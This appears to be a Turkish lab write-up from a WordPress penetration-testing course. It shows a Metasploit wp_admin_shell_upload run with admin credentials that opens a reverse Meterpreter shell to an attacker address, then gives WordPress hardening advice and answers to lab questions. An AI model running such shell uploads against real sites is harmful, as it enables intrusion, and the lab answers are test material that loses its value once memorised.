Reverse shell’i elde etmek için wp_admin_shell_upload modülünü kullanabiliriz. MSF içinde kolayca arayabiliriz:

msf5 > search wp_admin

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload

msf5 > use 0

msf5 exploit(unix/webapp/wp_admin_shell_upload) >

msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts blog.inlanefreight.com
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password Winter2020
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.16.8
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run

[*] Started reverse TCP handler on 10.10.16.8z4444
[*] Authenticating with WordPress using admin:Winter202@...
[+] Authenticated with WordPress
[*] Uploading payload...
[*] Executing the payload at /wp—content/plugins/YtyZGFIhax/uTvAAKrAdp.php...
[*] Sending stage (38247 bytes) to blog.inlanefreight.com
[*] Meterpreter session 1 opened
[+] Deleted uTvAAKrAdp.php

meterpreter > getuid
Server username: www—data (33)

WordPress Güçlendirme

Düzenli Güncellemeler Yapın

Aşağıdaki satırları ekleyerek otomatik güncellemeleri etkinleştirmek için wp-config.php dosyasını bile değiştirebiliriz:

Plugin and Theme Management

Yalnızca WordPress.org web sitesindeki güvenilir temaları ve eklentileri yükleyin. Bir eklenti veya tema yüklemeden önce incelemelerini, popülerliğini, yükleme sayısını ve son güncelleme tarihini kontrol edin. Herhangi biri yıllardır güncellenmemişse, artık bakımının yapılmadığının ve yamalanmamış güvenlik açıklarından muzdarip olabileceğinin bir işareti olabilir. WordPress sitenizi rutin olarak denetleyin ve kullanılmayan tema ve eklentileri kaldırın. Bu, hiçbir eski eklentinin unutulmamasını ve potansiyel olarak savunmasız kalmamasını sağlamaya yardımcı olacaktır.

WordPress Güvenliğini Artırın

Web sitesinin güvenliğini artırmak için çeşitli WordPress güvenlik eklentileri kullanılabilir. Bu eklentiler Web Uygulaması Güvenlik Duvarı (WAF), kötü amaçlı yazılım tarayıcısı, izleme, etkinlik denetimi, kaba kuvvet saldırılarını önleme ve kullanıcılar için güçlü parola uygulaması olarak kullanılabilir. İşte popüler WordPress güvenlik eklentilerinden birkaç örnek.

Sucuri Güvenlik

Bu eklenti aşağıdaki özelliklerden oluşan bir güvenlik paketidir:

Güvenlik Etkinliği DenetimiDosya Bütünlüğü İzlemeUzaktan Kötü Amaçlı Yazılım TaramasıKara Liste İzleme.

iThemes Security

iThemes Security, bir WordPress sitesini güvence altına almak ve korumak için 30'dan fazla yol sunar:

İki Faktörlü Kimlik Doğrulama (2FA)WordPress Salts & Güvenlik AnahtarlarıGoogle reCAPTCHAKullanıcı Eylemi Günlüğü

Wordfence Security

Wordfence Security bir uç nokta güvenlik duvarı ve kötü amaçlı yazılım tarayıcısından oluşur.

WAF, kötü amaçlı trafiği tanımlar ve engeller.Premium sürüm, gerçek zamanlı güvenlik duvarı kuralı ve kötü amaçlı yazılım imza güncellemeleri sağlarPremium ayrıca bilinen en kötü niyetli IP’lerden gelen tüm istekleri engellemek için gerçek zamanlı IP kara listelemeye olanak tanır.

Konfigürasyon Yönetimi

Bazı yapılandırma değişiklikleri bir WordPress kurulumunun genel güvenlik duruşunu artırabilir.

Kullanıcı numaralandırmaya izin vermeyen bir eklenti yükleyin, böylece bir saldırgan parola püskürtme saldırısında kullanılmak üzere geçerli kullanıcı adları toplayamazParola zorlama saldırılarını önlemek için oturum açma denemelerini sınırlayınwp-admin.php giriş sayfasını yeniden adlandırın veya internete erişilemeyecek ya da yalnızca belirli IP adresleri tarafından erişilebilecek şekilde yeniden konumlandırın

User Management

Kullanıcılar genellikle bir kuruluştaki en zayıf halka olarak görüldükleri için sıklıkla hedef alınırlar. Aşağıdaki kullanıcılarla ilgili en iyi uygulamalar bir WordPress sitesinin genel güvenliğini artırmaya yardımcı olacaktır.

Standart yönetici kullanıcısını devre dışı bırakın ve tahmin edilmesi zor kullanıcı adlarına sahip hesaplar oluşturunGüçlü parolalar uygulayın
Tüm kullanıcılar için iki faktörlü kimlik doğrulamayı (2FA) etkinleştirin ve uygulayınEn az ayrıcalık kavramına dayalı olarak kullanıcıların erişimini kısıtlayınKullanıcı haklarını ve erişimi periyodik olarak denetleyin.Kullanılmayan hesapları kaldırın veya artık ihtiyaç duyulmayan erişimi iptal edin

Soruları çözmeye başlamadan önce /etc/hosts dosyamızı nano kullanarak güncelleyelim.

Soru : Identify the WordPress version number. (WordPress sürüm numarasını belirleyin.)

Cevap : 5.1.6

Soru : Identify the WordPress theme in use. (Kullanılan WordPress temasını tanımlayın.)

Cevap : twentynineteen

Soru : Submit the contents of the flag file in the directory with directory listing enabled. (Flag dosyasının içeriğini dizin listelemenin etkin olduğu dizine iletiniz.)

Cevap:

1- Ana sayfanın kaynak kodunu uzun bir süre inceledikten sonra uploads adlı bir dizin keşfettim . Tek yapmamız gereken şey okumak.

Soru : Identify the only non-admin WordPress user. (Format: <first-name> <last-name>) (Yönetici olmayan tek WordPress kullanıcısını tanımlayın. (Biçim: <ilk ad> <soyad>))

Cevap : Charlie Wiggins

Soru : Kimliği doğrulanmamış bir dosya indirme yoluyla bayrak değeri içeren bir dosya indirmek için güvenlik açığı bulunan bir plugin kullanın.

Eklenecek.

Read Entire Article